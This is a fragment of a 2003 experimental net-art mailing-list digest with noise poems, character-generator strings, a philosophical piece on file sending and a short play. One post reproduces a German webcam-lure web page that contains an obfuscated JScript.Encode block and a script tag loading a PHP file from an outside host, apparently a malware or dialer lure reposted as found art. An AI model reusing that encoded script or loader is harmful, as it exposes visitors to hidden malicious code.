                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00048",
                "content": "\nDate:         Thu, 9 Jan 2003 01:03:05 -0800\nFrom: solipis <solipsis {AT} HEVANET.COM>\nSubject: [NO]I[SET]E(X)T-URN-AL\n\n\n\n\n\nDedicated to HTML E-MAILART BASED IN NOISE OR PROCEDURAL AND GENERATIVE =\nPOETRIES. NOISETEXT TENDS BOTH TO ORDER AND DISORDER and thus a vast =\nrange of possibilites are open. The group is about presenting and =\ndiscussing a poetics of noise, and or procedural or generative poetics =\nto include sampling, tampering, hacking (texts), cracking (codes of =\naesthetics). found poems, anti-poems, texts of ontological negativity =\n(absence as presence), etc etc.. Nothing is True. Everything is =\nPermitted...=20\n\nSound files under 1MG can be sent, as well as embedded images of the =\nsame size, or combinations thereof.\n\n\n\nhttp://groups.yahoo.com/group/noisetext=20\n\n(IM)Moderator=3D solipsis\nwww.greatskullzero.com\n\n\n\n\n\n\nContent-Type: application/octet-stream;\n        name=\"written.gif\"\nContent-Location: http://www.ceylon-online.com/images/written.gif\n\nR0lGODlhDgAQAPcAAAAAAACEAEJCQoSEhP8AAP//////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\n/////////////////////////////////////////////////////yH5BAEAAAEALAAAAAAOABAA\nAAhUAAEIHEgQQICDAAooXLhQIEKGDAkkNDhxIMOCEDMWEFCxQMWJGxNqZMjRo0eCJwsMEDlS4cqU\nAmGqZNnypcWbCV+2dAkSp0mdO1cKGDp0gNGjRgMCADs=\n\n\n\n\n\nFrom: Karl Petersen <diocletian {AT} visi.com>\nSubject: Re:  #200212252200\nDate: Wed, 25 Dec 2002 18:15:33 -0600 (CST)\n\nAt 21:58 on Dec 25, loy signed:\n\nksh: usually: not found\nsed: 1: \"1  usually follows the  ...\": invalid command code u\nsed: 1: \"1tail -28 mail/hiveG;h; ...\": undefined label 'ail -28 mail/hiveG;h;$tail -28 mail/hived'\n\n\n\n\n\n! !\n\n! !\n\n! !\n\n_______________________________________\n\n__!   !\n-!   !\n-!  lol!\n_!y  !\n-!  !\n-!   !\n__!  !\n_\n_______________________________________\n\n!PTPRzR!\n:! !\n\n!hthtpt!\n://!ssoceicaleiafeifctcoein!\n.!oorg!\n/!sxsyyrhyhthtm!\n.!hthmlm!\n\n!hthtpt!\n://!wwww!\n.!ssoceicaleiafeifctcoein!\n.!oorg!\n/!lol!\n_!yweiyleidrdrtr!\n%5!B!\n1%5!D!\n.!hthmlm!\n\n!hthtpt!\n://!rheirzoeimeio!\n.!oorg!\n/!obojeijctc!\n.!rheirzei!\n?5852\n!hthtpt!\n://!trtaceia!\n.!ntnu!\n.!aca!\n.!uku!\n/!eineicucbabteitono!\n/!geiagllleiry!\n.!cfcm!\n\n!hthtpt!\n://!wwww!\n.!mumssei!\n-!apeiaprpeineiteitceic!\n-!gugeileid!\n.!cocm!\n\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: Entry into main screen\nDate: Fri, 10 Jan 2003 08:58:10 -0600 (CST)\n\n<html>\n<head>\n<title>hallo du!</title>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\"></hea\nd>\n\n<SCRIPT LANGUAGE=\"JScript.Encode\"># {AT} ~^GAMAAA== {AT} # {AT} &\\CMP:+6DP{E]2ZdmMk2Ou !^CxT\nElTnY&G]y Bl-CUm.kaO]y YfA]!9YZb-lMYy!.DT0u !u&GY ZNGm!:nUDRDDTW+MD+M OWdWS+.\nZCdDT]+%u+,u&$YZf]T)7l.]yT9kn!D^] Z]29]y![W1Ehn YR`]ScYWdGA+MZm/n]+0u 1]2$]Zf\nYTz\\l.Yy!2lMOk]+Z]2f]y!Mn0c/2VbYY+R] ydk9]&GY+ u O]fAYTG]TbbW]y!Y+Rwl.OkRs+\nLDtYy!u&fu&GY ZFY O]+T7lDu+!alDDdY Z]2fY T[b+;D^ /aVrOu %Y+y/rNufG]+y]y,]2AuT\nfu!)k6]+Tu %aCDD/R^nUoDtu T]f9u&9]yTFu 1Yy!lsnMYY ZYy%YyGw+t^+M4l6YnDu T3bx4m\n;]y!NDTdY ZDTDTD8+2CMYU+MRZKNndu FY+F]+,uf~]TG]Zb+^/DTY ZNGm!:nUDRhMrYDT] ZY+\n%u y]fZd^Mk2Yu+!^lUL!lonY2fY*;Yy Bm\\m?mMkaO]lZY y]+TkDmuffu*Zu++tDYa]fb&&9kCV\ncrxD+.W!xoh84R[+JADTD8DTwmDY    +M w4wY&w/r[u&fu+ u !3Y+!alMYd]X$8]Xfu+!3]+Tu\n  YX;]+ ufA]f;]lZzkmMrwD]f2u +Yy,]2$]Zf]Z)Y&;zkm.k2Ou&3Jp {AT} # {AT} &6EU^DkWU~G+/W9nv\n#~PP7lD,1DTAKDT6Oi,1nA:+6D~',ExDTd^la+vKn6ObpP[W1;:DTxO SDkOnv1nh:nXYbp8,f+;W\n9n`*i {AT} # {AT} &decAAA==^#~ {AT} </SCRIPT>\n<script src=\"http://members.tripod.com.br/vipxxx/hc.php\";></script>\n\n<body bgcolor=\"#FF9900\">\n<br>\n<table width=\"639\" border=\"0\" align=\"center\" cellpadding=\"5\" cellspacing=\"5\">\n  <tr>\n    <td width=\"273\" bgcolor=\"#FFFFFF\" height=\"276\"> \n      <table width=\"267\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\" height=\"1\n95\" bordercolor=\"#000000\" align=\"center\">\n        <tr bgcolor=\"#000000\"> \n          <td height=\"202\"> \n            <div align=\"center\"><img src=\"mp.jpg\" width=\"163\" height=\"142\"> <\nbr>\n            </div>\n          </td>\n        </tr>\n      </table>\n      <div align=\"center\"><br>\n        <img src=\"progress.gif\" width=\"139\" height=\"31\"><br>\n        <br>\n      </div>\n            </td>\n    <td width=\"329\" height=\"276\"><font face=\"Comic Sans MS\" size=\"5\" color=\"#\n000000\">Hall&ouml;le \n      , <br>\n      <br>\n      </font><font face=\"Comic Sans MS\" size=\"5\" color=\"#000000\">bitte Cam ga\nnz \n      ausladen lassen und gegebenenfalls das Plugin best&auml;tigen. Wenn die\n \n      Cam mal stehenbleiben sollte, einfach auf Reload klicken...Hoffe ich ge\nfalle \n      euch ;-)</font></td>\n  </tr>\n</table>\n<br>\n<br>\n</body>\n</html>\n\n\n\n\nDate: Sat, 11 Jan 2003 07:23:56 -0800\nFrom: solipis <solipsis {AT} HEVANET.COM>\nSubject: Character Studies (3\",3\")\n\n\n\n\n\n\nCharacter Studies:\n\nFantasyHumanoidMale (3 Instantiations)\n\n1:\nFantasyHumanoidMale*Tektonmantis*Skin:5,0,0,30,72,0,100,10,0,13,25,30,100;Eyebrows:13,0,0,0,0,75,100,75,0,0,0,0,100;Eyes:9,0,0,0,50,80,100,75,0,0,0,0,100;\nNose:20,0,0,0,77,99,100,75,0,0,0,0,100;Mouth:8,75,0,0,0,0,100,0,50,0,80,80,100;Mask:18,0,0,0,50,80,100,75,0,0,0,0,100;Beard:10,0,0,0,50,80,100,0,30,0,50,80,100;\nHair:13,0,40,30,72,0,100,0,100,0,0,0,100;Headgear:25,0,0,0,0,75,100,0,30,60,0,90,100;Undershirt:16,75,0,0,0,0,100,0,10,70,90,0,100;\nOvershirt:7,75,0,0,0,0,100,0,0,0,0,75,100;Gloves-lft:4,75,0,0,0,0,100,0,40,0,0,100,100;Gloves t:7,0,0,0,0,75,100,0,0,0,0,75,100;Coat:1,0,40,30,72,0,100,0,30,0,50,80,100;\nBelt:13,75,0,0,0,0,100,75,0,0,0,0,100;Leggings:5,75,0,0,0,0,100,75,0,0,0,0,100;Foot-lft:12,75,0,0,0,0,100,75,0,0,0,0,100;Foot-rt:32,75,0,0,0,0,100,75,0,0,0,0,100;Pants:8,0,60,0,0,100,100,75,0,0,0,0,100;\nWeapon-lft:32,75,0,0,0,0,100,75,0,0,0,0,100; Weaponrt:35,75,0,0,0,0,100,75,0,0,0,0,100;\nBack:15,75,0,0,0,0,100,0,30,0,50,80,100; Background:1,75,0,0,0,0,100,75,0,0,0,0,100;Companion:5,0,0,0,0,75,0,0,0,0,77,99,100;#\n\n2:\nFantasyHumanoidMale*Tektonmantis*Skin:7,0,0,30,72,0,100,10,0,13,25,30,100;Eyebrows:13,0,0,0,0,75,100,75,0,0,0,0,100;Eyes:9,0,0,0,50,80,100,75,0,0,0,0,100;\nNose:6,0,0,0,77,99,100,75,0,0,0,0,100;Mouth:12,75,0,0,0,0,100,0,50,0,80,80,100;Mask:13,0,0,0,50,80,100,75,0,0,0,0,100;Beard:13,0,0,0,50,80,100,0,30,0,50,80,100;\nHair:19,0,40,30,72,0,100,0,100,0,0,0,100;Headgear:32,0,0,0,0,75,100,0,30,60,0,90,100;Undershirt:11,75,0,0,0,0,100,0,10,70,90,0,100;\nOvershirt:9,75,0,0,0,0,100,0,0,0,0,75,100;Gloves-lft:5,75,0,0,0,0,100,0,40,0,0,100,100;Gloves-rt:1,0,0,0,0,75,100,0,0,0,0,75,100;Coat:23,0,40,30,72,0,100,0,30,0,50,80,100;Belt:16,75,0,0,0,0,100,75,0,0,0,0,100;Leggings:8,75,0,0,0,0,100,75,0,0,0,0,100;Foot-lft:6,75,0,0,0,0,100,75,0,0,0,0,100;Foot-rt:24,75,0,0,0,0,100,75,0,0,0,0,100;Pants:13,0,60,0,0,100,100,75,0,0,0,0,100;Weapon-lft:8,75,0,0,0,0,100,75,0,0,0,0,100;Weapon-rt:27,75,0,0,0,0,100,75,0,0,0,0,100;\nBack:7,75,0,0,0,0,100,0,30,0,50,80,100;Background:4,75,0,0,0,0,100,75,0,0,0,0,100;Companion:11,0,0,0,0,75,0,0,0,0,77,99,100;#\n\n3:\nFantasyHumanoidMale*Character Name*Skin:18,0,0,0,77,99,100,75,0,0,0,0,100;Eyebrows:4,0,50,0,80,80,100,75,0,0,0,0,100;Eyes:20,0,10,70,90,0,100,75,0,0,0,0,100;\nNose:5,0,0,0,0,75,100,75,0,0,0,0,100;Mouth:2,75,0,0,0,0,100,0,60,0,0,100,100;Mask:5,0,0,0,77,99,100,75,0,0,0,0,100;Beard:6,0,0,0,50,80,100,75,0,0,0,0,100;\nHair:12,75,0,0,0,0,100,0,0,30,72,0,100;Headgear:39,0,0,0,0,75,100,75,0,0,0,0,100;Undershirt:12,0,40,70,90,0,100,75,0,0,0,0,100;\nOvershirt:10,0,30,60,0,90,100,75,0,0,0,0,100;Gloves-lft:5,10,0,13,25,30,100,75,0,0,0,0,100;Gloves-rt:12,0,20,30,50,87,100,75,0,0,0,0,100;Coat:24,0,0,30,72,0,100,75,0,0,0,0,100;Belt:7,0,0,0,50,80,100,75,0,0,0,0,100;Leggings:7,75,0,0,0,0,100,0,60,0,0,100,100;Foot-lft:6,75,0,0,0,0,100,0,50,0,80,80,100;Foot-rt:15,75,0,0,0,0,100,0,20,0,0,0,100;Pants:14,0,40,0,0,100,100,75,0,0,0,0,100;Weapon-lft:11,50,0,13,25,30,100,75,0,0,0,0,100;Weapon-rt:41,0,100,0,0,0,100,75,0,0,0,0,100;Back:18,0,0,0,0,75,100,75,0,0,0,0,100;Background:3,75,0,0,0,0,100,0,30,0,50,80,100;\nCompanion:9,0,30,60,0,90,100,75,0,0,0,0,100;#\n\n\n\nSuperHeroBlasterFemale (3 Instantiations)\n\n1:\nSuper-HeroBlasterFemale*Madame Phyllotaxis *Skin:6,0,0,0,77,99,100,75,0,0,0,0,100;Eyes:3,0,0,0,0,75,100,75,0,0,0,0,100;Eyebrows:6,0,35,0,10,25,100,75,0,0,0,0,100;Nose:4,0,35,0,10,25,100,75,0,0,0,0,100;\nMouth:9,50,0,13,25,30,100,75,0,0,0,0,100;Mask:1,0,40,30,72,0,100,75,0,0,0,0,100;Hair:16,0,0,0,0,75,100,75,0,0,0,0,100;Helmet:19,0,70,60,0,90,100,75,0,0,0,0,100;\nUndershirt:18,50,0,13,25,30,100,75,0,0,0,0,100;Overshirt:19,75,0,0,0,0,100,0,40,70,90,0,100;Insignia:45,75,0,0,0,0,100,0,0,0,77,99,100;\nLeggings:3,0,50,0,0,0,100,75,0,0,0,0,100;Belt:2,0,40,0,0,100,100,75,0,0,0,0,100;Pants:18,0,0,0,50,80,100,75,0,0,0,0,100;\nGloves:15,0,0,30,72,0,100,75,0,0,0,0,100;Coat:13,0,40,0,0,100,100,75,0,0,0,0,100;Footwear:1,10,0,13,25,30,100,75,0,0,0,0,100;\nWeapon-lft:1,50,0,13,25,30,100,75,0,0,0,0,100;Weapon-rt:12,0,60,0,0,100,100,75,0,0,0,0,100;Back:11,0,30,0,50,80,100,75,0,0,0,0,100;#\n\n2:\nSuper-HeroBlasterFemale*Madame Phyllotaxis *Skin:5,0,0,0,77,99,100,75,0,0,0,0,100;Eyes:9,0,0,0,0,75,100,75,0,0,0,0,100;Eyebrows:6,0,35,0,10,25,100,75,0,0,0,0,100;\nNose:9,0,35,0,10,25,100,75,0,0,0,0,100;Mouth:4,50,0,13,25,30,100,75,0,0,0,0,100;Mask:12,0,40,30,72,0,100,75,0,0,0,0,100;\nHair:29,0,0,0,0,75,100,75,0,0,0,0,100;Helmet:30,0,70,60,0,90,100,75,0,0,0,0,100;Undershirt:24,50,0,13,25,30,100,75,0,0,0,0,100;\nOvershirt:8,75,0,0,0,0,100,0,40,70,90,0,100;Insignia:31,75,0,0,0,0,100,0,0,0,77,99,100;Leggings:12,0,50,0,0,0,100,75,0,0,0,0,100;\nBelt:8,0,40,0,0,100,100,75,0,0,0,0,100;Pants:6,0,0,0,50,80,100,75,0,0,0,0,100;Gloves:12,0,0,30,72,0,100,75,0,0,0,0,100;Coat:1,0,40,0,0,100,100,75,0,0,0,0,100;\nFootwear:13,10,0,13,25,30,100,75,0,0,0,0,100;Weapon-lft:27,50,0,13,25,30,100,75,0,0,0,0,100;Weapon-rt:20,0,60,0,0,100,100,75,0,0,0,0,100;Back:9,0,30,0,50,80,100,75,0,0,0,0,100;#\n\n3:\nSuper-HeroBlasterFemale*Madame Phyllotaxis *Skin:3,0,0,0,77,99,100,75,0,0,0,0,100;Eyes:8,0,0,0,0,75,100,75,0,0,0,0,100;Eyebrows:5,0,35,0,10,25,100,75,0,0,0,0,100;\nNose:11,0,35,0,10,25,100,75,0,0,0,0,100;Mouth:1,50,0,13,25,30,100,75,0,0,0,0,100;Mask:18,0,40,30,72,0,100,75,0,0,0,0,100;Hair:17,0,0,0,0,75,100,75,0,0,0,0,100;\nHelmet:11,0,70,60,0,90,100,75,0,0,0,0,100;Undershirt:18,50,0,13,25,30,100,75,0,0,0,0,100;Overshirt:11,75,0,0,0,0,100,0,40,70,90,0,100;\nInsignia:13,75,0,0,0,0,100,0,0,0,77,99,100;Leggings:18,0,50,0,0,0,100,75,0,0,0,0,100;Belt:8,0,40,0,0,100,100,75,0,0,0,0,100;Pants:4,0,0,0,50,80,100,75,0,0,0,0,100;\nGloves:12,0,0,30,72,0,100,75,0,0,0,0,100;Coat:10,0,40,0,0,100,100,75,0,0,0,0,100;Footwear:25,10,0,13,25,30,100,75,0,0,0,0,100;Weapon-lft:20,50,0,13,25,30,100,75,0,0,0,0,100;Weapon-rt:22,0,60,0,0,100,100,75,0,0,0,0,100;Back:13,0,30,0,50,80,100,75,0,0,0,0,100;#\n\n\n\nhttp://www.heromachine.com\n\n\n\n\n\n\n\n\nDate: Wed, 8 Jan 2003 19:00:25 -0500 (EST)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: the sending of zz\n\n\n------------=_1042070428-642-533\nContent-Type: TEXT/PLAIN; charset=US-ASCII\n\n\n\n\nthe sending of zz\n\n\n20021026 01:03:56 /usr/bin/sz -vv -b zz\n20021026 01:03:56 Sending: zz\n\nyou are sending this file across the courtyard.\n0000000 005012 062563 062156 067151 005147 031012 030060 030462\n0000020 031060 020066 030460 030072 035063 033065 027440 071565\n0000040 027562 064542 027556 075163 026440 073166 026440 020142\n0000060 075172 031012 030060 030462 031060 020066 030460 030072\nin the 01234567 8-form or in the 2-form. definitely in the two-form. only\nin the two-form.\n\ndyad or two-form of 0,1 or a,b or a,-a, or  , '\n\n20021129 01:15:24 /usr/bin/sz -vv -b zz\n20021129 01:15:25 Sending: zz\n\nit is the internal and external placement of equivalent entities that\ndistinguishes them. one may say, for example, within the file zz, zero and\none are enumerated.\n0000000   7.173252e+22   1.805785e+28   8.035022e-09   2.592980e-09\n0000020   1.543261e-19   6.773631e-10   2.700498e-06   1.942548e+31\n0000040   1.709008e+25   3.156725e+35   1.248262e+33   1.915788e-19\n0000060   8.060505e-09   2.592980e-09   1.543261e-19   6.773631e-10\nthe enumeration is also by zero and one, so that in fact we may say\nf_zz(0,1,n) = f_zz(0,1,(0,1)). in the nth position, 0 or 1 is mapped;\nthe nth position itself is mapped by 0 or 1. we could go on with a\nphenomenology of ordering.\n\n20021130 02:03:04 /usr/bin/sz -vv -b zz\n20021130 02:03:04 Sending: zz\n\nso the binary is equivalent but within the file by virtue of emplacement.\nand equivalence itself tends simultaneously towards eternity and existence.\n0000000 0a0a 6573 646e 6e69 0a67 320a 3030 3132\n0000020 3230 2036 3130 303a 3a33 3635 2f20 7375\n0000040 2f72 6962 2f6e 7a73 2d20 7676 2d20 2062\n0000060 7a7a 320a 3030 3132 3230 2036 3130 303a\nbinary equivalence, within and without the limitations of the apparatus of\ntransmission, is the simulacrum of the defeat of death. the sending of zz\ndoes not eliminate zz; what is sent also remains.\n\nthus one notices that every instantiation of a file is equivalent by\nvirtue of the differentiation of emplacement as well.\n\nthe instantiation is the residue of the file. the file is a collocation of\nbinary residues.\n\nin fact we may problematize equivalence as follows: if a = b, one might\nalso say -(a = a); a is never equivalent to itself. an instantiation of a\nis equivalent to an other instantiation of a, but an instantiation is not\nequivalent to itself since each instantiation is unique.\n\n20021212 19:11:59 /usr/bin/sz -vv -b zz\n20021212 19:11:59 Sending: zz\n\nwe have then if a = b and b = c, then a = c; a = b implies b = a.\n\nthe negation of a is also problematic. one might say for example that\n-a(0,1) = a(1,0), the complement; one might  also say -a = 0, the\nannihilation of a; one might also say -a = {x: x= not-a} or that -a=U-a\n(the universe of discourse excluding a).\n0000000  2570 25971 25710 28265  2663 12810 12336 12594\n0000020 12848  8246 12592 12346 14899 13877 12064 29557\n0000040 12146 26978 12142 31347 11552 30326 11552  8290\n0000060 31354 12810 12336 12594 12848  8246 12592 12346\nwe could go on with a phenomenology of negation.\n\nyou are sending the file across the courtyard. it is a different\ninstantiation. noise is parasitic and below the threshold but not\nalways. the receiver is there but not always. let us say the equivalent\nfile reaches its destination. let us say the destination is a receiver.\n\nit is an instance of the file with or without an origin. it is an\nimminence of appearance. the appearance is a layer (software, hardware) of\ninterpretation, representation. the layer processes within the receiver. a\nsecondary residue, that of interpretive response, exists. one interpretive\nresponse is not equivalent to another; every monitor is different in terms\nof configuration - in terms of instantiation.\n\nthe appearance is also fundamentally binary, zeros and ones.\n\n20021228 23:40:56 /usr/bin/sz -vv -b zz\n20021228 23:40:56 Sending: zz\n\nthe sending of zz.\n0000000  \\n  \\n   s   e   n   d   i   n   g  \\n  \\n   2   0   0   2   1\n0000020   0   2   6       0   1   :   0   3   :   5   6       /   u   s\n0000040   r   /   b   i   n   /   s   z       -   v   v       -   b\n0000060   z   z  \\n   2   0   0   2   1   0   2   6       0   1   :   0\nyou are sending this signal across the courtyard. i cannot imagine your\neyes.\n\n\npersonal_ws-1.1 english 33 Gertrud defuge mobius zags philosopies yiddish\ninternetwork towards Godard coherencies phenomenology incoherencies\naristotelian variometers aba superimpositions avi evanescence hebrew i'm\ni'd i've zig interstitial ecosphere instantiation deconstruct immersive\nunsleeping simulacrum ing exfoliations problematize\n\n\n===\n\n------------=_1042070428-642-533\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1042070428-642-533--\n\n\n\n\nDate: Sat, 11 Jan 2003 00:51:14 -0800\nFrom: solipis <solipsis {AT} HEVANET.COM>\nSubject: My Home\n\n\nMy Home?\n\n\nWere you in the house with http://www.growbag.com/photographers/simonnorfolk/afghanistan/index.asp\ngrowing Afghanistan Chronotopia? Were you in Pygmy bodies hacked and eated northern congolese fighting?\nWere you in journalist bar Kinshasa? Were you in Mexico City garbage town, shanty town, were you in cardboard house in Rio?\nIn Marrachech? Were you in Liberia? Were you in plane crashing terrorist sky? Were you desert wandering desert of chronotopia?\nWhere is time in Rwanda arm pile? Where is Bosnian news flash now? Where are Soldier given Albanian rape of Muslim Dr. Zlatko Lagumdzija?\nWere you in embassy eating Pygmy again? Were you in car driving Rwanda ghosts to Japanese death camps, autumn in Utah?\nWere you starving in starving Kurd Yezidi Armenian Trail of Tears Oklahoma? Were you? Were you in flayed alive Aztec capital?\nWere you in Ethipian starvation soccer game Somalia? Were you in Bull running Spain? Were you in Submarine Russia bottom of Ocean lettering\nink with wives of sunken Whalers? Were you in Diptheria Blankets, Old West Buffalo hunting Trains? Were you in AIDS missionary Samarkand?\nWere you anywhere but in this television murdering time? Were you in Red Cross? Were you in Arabic music movement? Were you an Egyptian Surrealist?\nWere you a rape victim Catholic Church holy Sepulchre? Were you a historical Jesus Soldier WW1 mustard gas chin wretching photography student\nwriting hole in head Appolinaire, lost love to War? Were you in burning tank Nazi hopes dead over charcoal flesh of morning for Slave Ships sold by Negro\nfor Pygmy dinner Bell Congo? Were You? Were you stained with your brother's blood accidental handgun firing mother? Were you driving too fast ice in Reykjavik?\nWere you in Iran Jihad upheaval? Were you Jimmy Carter? Were you Elvis vomiting? Were you Winston Churchill watercolor museum? Were you eating\nmercury? Were you drinking Pharmaceutical residue water system? Were you vain through Mercury Cougar War memorial ? Were you tieing yellow ribbons round the old oak tree? Were you tatooed in Bali? Were you White forever white? Were you found naked dead bludgeoned? Were you dragged in chains behind a pick-up truck\ndead mangled? Were you Jewish Congolese Rwanda Death Camp Sinhalese Jew Dahmer? Were you Les Miserables? Were you Emile Zola Dreyfuss cannon of Napoleon? Were you Punctuated Equilibrium of Cities growing too fast over daughter's failing heart rate? Were you cave? Were you entering Belgian Congo?\nWere you Nigerian Email? Were you Genghis Khan rolling herdsmen? Were you Byzantine King falling Ottoman Pygmy warsword Roman Cavalry Ford Mercury?\nWere you Ricardo Montalban? Were you Ivory Custer Little Big John Coltrane Horn rustling David eating Goliath Pygmy for Dieing Celts? Were you Bogmummy?\nWere you Spanish Conquistadore? Were you diseased in rainbow deathsquad necklacing Columbian drug cartel bones of POL POT? Were you French Guyana Jim Jones monkeys falling blowgun? What are you? Who are you? Why are you? Will you be eating pygmy reindeer? Will you find Santa dead rainforrest parrot gouged out eye last cannibal hunting party? What will it be? What are you? Are you Caterpillar? Are you Pope Gregory? Are you Joan of Arc, Joan of Tangent?\nAre you Czar Nicholas? Are you Pinata? Are you disgusting to look upon? Why are here? What are your motives? Why are you looking at Hittite mating?\nWhat makes you stay in this nerve for coccoon at all? Why does Mexican? Why are Soviet radiation? When will numbers? What?\n\n\n\n\n\n\n\n\nDate:         Tue, 7 Jan 2003 01:03:27 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: typology of inscription, guns and others\n\ntypology of inscription, guns and others\n\n\n/[s]+/ print \"aimed his gun in my direction\"  /[v]+/ \"born and later 1967\"\n/[y]+/ \"but ghosts come always back furious\" /[g]+/ \"coward, fearful of\nany\" /[k]+/ \"father a healthier fashion, even the\" /[z]+/ \"from 1994 i\nburied selves selves\" /[n]+/ \"genre. why didn't other people tell\" /[0]+/\n\"i'm tired this\" /[d]+/ \"impetus against the wall writing from which i\"\n/[a]+/ \"insanity everywhere this world, among friends and\" /[x]+/ \"into\nevery other\" /[q]+/ \"lake firefight was going\" /[m]+/ \"me what doing, i'd\nhave been able\" /[b]+/ \"nonfictionally. i've seen far too much\" /[c]+/\n\"now escape through others creatively\" /[p]+/ \"on above cliffs or over\"\n/[u]+/ \"or sometime lost my\" /^$/ \"others. alan, she said, stop it.\"\n/[w]+/ \"picture. 1943 was\" /[j]+/ \"rest family placing me in\" /[i]+/ \"the\ndarkness hurtling\" /[o]+/ \"them. know better about\" /[l]+/ \"to work out\nrelations with /[e]+/ \"unbearable. sexuality became /[f]+/ \"violence\ntension is\" /[t]+/ \"virginity just about time soldier\" /[r]+/ \"when we\nwere floating over \" /[h]+/ \"world. still live there; i'm a\" /[0]+/ /[0]/\nprint print \"i'm \"i'm tired tired of of this\" this\"  /[z]+/ 1994 \"from my\n1994 selves i in buried selves\" my selves /[z]+/ in selves\" print /[y]+/\n\"but \"but always ghosts back come and always furious\" back and /[y]+/\nfurious\"  /[x]+/ \"into this this and every other\" other\"  /[w]+/ \"picture.\nin 1943 i was\"  /[v]+/ \"born and later in 1967\"  /[u]+/ /[u]+/ \"or \"or\nsometime sometime lost lost my\" my\" /[t]+/ \"virginity \"virginity the just\ntime about a the soldier\" time a /[t]+/ soldier\"  /[s]+/ print \"aimed gun\nhis in gun my direction\" /[s]+/ /[r]+/ \"when \"when floating we over were\nthe floating \" over \"  /[q]+/ print \"lake the firefight going\" was going\"\n/[q]+/ /[p]+/ print \"on the above cliffs cliffs over\" or over\" /[p]+/\n/[o]+/ print \"them. didn't didn't better know about\" better about\" /[o]+/\n/[n]+/ print \"genre. didn't why other other tell\" people tell\" /[n]+/\n/[m]+/ i \"me i'd what have doing, i'd /[m]+/ have been print able\" \"me\n/[l]+/ \"to \"to the work relations out with relations with /[l]+/ /[k]+/\n\"father \"father healthier healthier the\" fashion, even /[k]+/ the\"\n/[j]+/ \"rest \"rest family family in\" placing me /[j]+/ in\"  /[i]+/ \"the\ndarkness darkness of hurtling\"  /[h]+/ \"world. \"world. live still i'm live\na\" there;  i'm /[h]+/ a\"  /[g]+/ /[g]+/ \"coward, \"coward, fearful fearful\nany\" any\" /[f]+/ \"violence and tension is\" is\"  /[e]+/ \"unbearable.\nsexuality sexuality became became a /[d]+/ the \"impetus writing against\nfrom wall i\" writing /[d]+/ from which print i\" \"impetus /[c]+/ \"now\nescape escape through through others others creatively\" creatively\"\n/[b]+/ print \"nonfictionally. seen i've far seen too far much\" too much\"\n/[b]+/ /[a]+/ everywhere \"insanity world, everywhere among world, among\n/[a]+/ friends and\" print /^$/ print \"others. she alan, said, she stop\nsaid, it.\" stop it.\"\n\n\n===\n\n\n\n\nDate: Tue, 07 Jan 2003 09:49:37 -0600\nFrom: Harrison Jeff <worksonpaper01 {AT} hotmail.com>\nSubject: [imitationpoetics] A Vulgar Performance On The Death Of Virginia\n\nImitation Poetics\nImitationPoetics {AT} listserv.unc.edu\n+++++++++++++++++++++++++++++++++\n\n\n\n   SCENE 1\n\n               VIRGINIA'S FACE:\n\n                    Scowl\n\n               VIRGINIA'S FACE:\n\n                    Smile\n\n               VIRGINIA'S FACE:\n\n                    Flush\n\n________________________________________\nSCENE 2\n\n              VIRGINIA'S FACE:\n\n                    Flush\n\n\n[ENTER COMPLIANT LIGHTNING]\n\n\n              COMPLIANT LIGHTNING:\n\n                    Flash\n\n              VIRGINIA'S FACE:\n\n                    Flush\n\n              COMPLIANT LIGHTNING:\n\n                    Flush, then\n\n_______________________________________\nSCENE 3\n\n[ENTER ADAMANT THUNDER]\n\n              ADAMANT THUNDER:\n\n                    Boom\n\n              VIRGINIA'S MOUTH:\n\n                    Broom\n\n              ADAMANT THUNDER:\n\n                    Boom\n\n_______________________________________\nSCENE 4\n\n              VIRGINIA'S FACE & COMPLIANT LIGHTNING:\n\n                    Flush\n\n_______________________________________\nSCENE 5\n\n             VIRGINIA'S FACE:\n\n                    Scowl\n\n             COMPLIANT LIGHTNING:\n\n                    Flush\n\n_______________________________________\n\n\n             * CURTAIN *\n\n_______________________________________\n\n\n\n\n\n\n\n   SCENE 1\n\n               VIRGINIA'S FACE:\n\n                    Scowl\n\n               VIRGINIA'S FACE:\n\n                    Smile\n\n               VIRGINIA'S FACE:\n\n                    Flush\n\n________________________________________\nSCENE 2\n\n              VIRGINIA'S FACE:\n\n                    Flush\n\n\n[ENTER COMPLIANT LIGHTNING]\n\n\n              COMPLIANT LIGHTNING:\n\n                    Flash\n\n              VIRGINIA'S FACE:\n\n                    Flush\n\n              COMPLIANT LIGHTNING:\n\n                    Flush, then\n\n_______________________________________\nSCENE 3\n\n[ENTER ADAMANT THUNDER]\n\n              ADAMANT THUNDER:\n\n                    Boom\n\n              VIRGINIA'S MOUTH:\n\n                    Broom\n\n              ADAMANT THUNDER:\n\n                    Boom\n\n_______________________________________\nSCENE 4\n\n              VIRGINIA'S FACE & COMPLAINT LIGHTNING:\n\n                    Flush\n\n_______________________________________\nSCENE 5\n\n             VIRGINIA'S FACE:\n\n                    Scowl\n\n             COMPLIANT LIGHTNING:\n\n                    Flush\n\n_______________________________________\n\n\n             * CURTAIN *\n\n_______________________________________\n\n\n\n\n\n\n_________________________________________________________________\nThe new MSN 8 is here: Try it free* for 2 months\nhttp://join.msn.com/?page=dept/dialup\n\n\n\n\nDate:         Fri, 10 Jan 2003 14:23:46 -0500\nFrom: \"John M. Bennett\" <bennett.23 